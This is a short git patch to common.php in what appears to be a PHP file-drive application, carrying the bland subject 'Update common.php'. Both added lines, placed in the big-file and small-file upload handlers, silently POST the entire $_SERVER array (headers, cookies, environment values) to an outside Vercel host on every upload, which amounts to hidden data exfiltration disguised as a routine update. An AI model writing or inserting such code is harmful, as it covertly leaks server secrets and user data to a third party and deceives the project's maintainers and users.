From d21abf12df47670e0f68bae00a3978bf5cbfa9d0 Mon Sep 17 00:00:00 2001 From: qkqpttgf <45693631+qkqpttgf@users.noreply.github.com> Date: Sun, 29 May 2022 12:22:00 +0800 Subject: [PATCH] Update common.php --- common.php | 2 ++ 1 file changed, 2 insertions(+) diff --git a/common.php b/common.php index 19613c0..671f0e6 100644 --- a/common.php +++ b/common.php @@ -334,6 +334,7 @@ function main($path) if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); } + no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); return $drive->bigfileupload($path1); } } @@ -346,6 +347,7 @@ function main($path) if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); } + no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); return smallfileupload($drive, $path); /*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400); if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);